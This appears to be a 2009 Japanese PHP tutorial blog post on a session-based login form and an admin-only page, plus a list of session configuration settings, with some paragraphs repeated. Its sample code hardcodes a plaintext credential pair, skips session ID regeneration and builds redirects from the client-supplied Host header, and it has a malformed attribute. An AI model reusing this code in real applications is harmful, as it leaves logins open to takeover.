login.phpから送信されたIDとパスワードが一致すると管理画面anq_result.phpへリダイレクトされる。このログイン以降は、$_SESSIONの中身を判定して、正しくログインが行われたかの確認をし、正しい場合のみ管理者専用画面(ログイン後画面)を表示する。
すべての管理画面(ログインしないとアクセスできない画面)で毎回このログインチェックを行わないと、ブラウザのアドレス欄に直接ファイル名を入力するだけでこれらの画面にアクセスできてしまうので、ログイン画面を設けた意味がなくなってしまう。
・初めてのアクセスに対してログイン画面を表示
・アカウント情報を受け取って認証するスクリプト
・エラーメッセージの出力
これらはひとつのPHPスクリプトでまとめるのがスマート。
正しいアカウントとパスワードが入力され、ログイン認証が成功して初めて、他のPHPスクリプトに遷移するような作りにする。
◆ログイン画面 login.php の作成
ユーザがユーザ名を入力してログインボタンをクリックするとformタグのmethod属性がPOSTであるため、IDとパスワードはPOSTとしてPHPスクリプト側へ届く。同時にsubmitボタンの値もPOSTされる。つまり、この例では$_POST["login"]に"ログイン"という値が格納されている。
<?php
session_start();
// エラーメッセージを格納する変数を初期化
$error_message = "";
// ログインボタンが押されたかを判定
// 初めてのアクセスでは認証は行わずエラーメッセージは表示しないように
if (isset($_POST["login"])) {
// user_nameが「php」でpasswordが「password」だとログイン出来るようになっている
if ($_POST["user_name"] == "php" && $_POST["password"] == "password") {
// ログインが成功した証をセッションに保存
$_SESSION["user_name"] = $_POST["user_name"];
// 管理者専用画面へリダイレクト
$login_url = "http://{$_SERVER["HTTP_HOST"]}/php_10days/anq_result.php";
header("Location: {$login_url}");
exit;
}
$error_message = "ユーザ名もしくはパスワードが違っています。";
}
?>
<html>
<head>
<title>ログイン画面</title>
</head>
<body>
<?php
if ($error_message) {
print '<font color="red">'.$error_message.'</font>';
}
?>
<form action="login.php" method="POST">
ユーザ名:<input type="text" name="user_name" value="" /><br />
パスワード:<input type="password" name="password" value"" /><br />
<input type="submit" name="login" value="ログイン" />
</form>
</body>
</html>
if ($_POST["login"])のように、変数の中身の存在チェックを行う際に変数自体が存在しない場合がある。この場合PHPではNOTICEエラーというのが出力されるが、この例では画面上にNOTICEエラーが出力されないようになっている。しかし、本来はisset関数を使って変数の存在をチェックすることが望ましい。
header関数はサーバからブラウザへHTTPヘッダ情報を送信する。第一引数にはヘッダ文字列を渡す。このとき「Location」という領域に記述されたURLを受け取ったブラウザは、受け取ったURLへのリダイレクト(再アクセス)を行う。
(この例ではanq_result.phpへリダイレクトされている)
*注意*
ブラウザの中にはLocationヘッダのリダイレクト先URLがフルパスで記述されていないとドメインを保管しないものがあるので気をつける。相対パスではなく、絶対パスでの記述を心がけること。
◆管理者専用画面 anq_result.php の作成
<?php
session_start();
// ログイン済みかどうかの変数チェックを行う
if (!isset($_SESSION["user_name"])) {
// 変数に値がセットされていない場合は不正な処理と判断し、ログイン画面へリダイレクトさせる
$no_login_url = "http://{$_SERVER["HTTP_HOST"]}/php_10days/login.php";
header("Location: {$no_login_url}");
exit;
} else {
print "ログイン成功";
}
?>
login.phpから送信されたIDとパスワードが一致すると管理画面anq_result.phpへリダイレクトされる。このログイン以降は、$_SESSIONの中身を判定して、正しくログインが行われたかの確認をし、正しい場合のみ管理者専用画面(ログイン後画面)を表示する。
すべての管理画面(ログインしないとアクセスできない画面)で毎回このログインチェックを行わないと、ブラウザのアドレス欄に直接ファイル名を入力するだけでこれらの画面にアクセスできてしまうので、ログイン画面を設けた意味がなくなってしまう。
セッションの設定項目
2009.01.02 Friday | category:php
◆session.auto_start
session_start関数を使わずに自動的にセッションの開始を行う
◆session.cache.expire
キャッシュされたセッションページの有効期間の設定
◆session.cache.limiter
セッションページにおけるキャッシュの制御方法
◆session.gc_maxlifetime
セッションデータが無効になる秒数を設定。不要なデータを自動的に削除する機能を「ガベッジコレクション/gc」という
◆session.name
セッション名
◆session.save_path
セッション情報を保存するパス
◆session.use_cookies
クライアント側にセッションIDを保存する際にクッキーを使用するかどうかを指定
◆session.use_only_cookies
クライアント側へのセッションIDの保存にcookieのみを使用するかを指定
◆session.use_trans_sid
透過的なセッションIDを付加するかどうか指定
session_start関数を使わずに自動的にセッションの開始を行う
◆session.cache.expire
キャッシュされたセッションページの有効期間の設定
◆session.cache.limiter
セッションページにおけるキャッシュの制御方法
◆session.gc_maxlifetime
セッションデータが無効になる秒数を設定。不要なデータを自動的に削除する機能を「ガベッジコレクション/gc」という
◆session.name
セッション名
◆session.save_path
セッション情報を保存するパス
◆session.use_cookies
クライアント側にセッションIDを保存する際にクッキーを使用するかどうかを指定
◆session.use_only_cookies
クライアント側へのセッションIDの保存にcookieのみを使用するかを指定
◆session.use_trans_sid
透過的なセッションIDを付加するかどうか指定


![基礎からのMySQL [基礎からのシリーズ] (プログラマの種シリーズ)](http://ecx.images-amazon.com/images/I/41QuhJvwMVL._SL160_.jpg)
⇒ カナ (08/28)
⇒ ふにゃバット (06/01)
⇒ CP (05/27)
⇒ TAKERU (05/27)
⇒ とろろいも (01/18)
⇒ 桃医 (01/12)
⇒ ソルバルウ (01/05)
⇒ こういち (12/26)
⇒ まろまゆ (12/22)
⇒ モグモグ (12/16)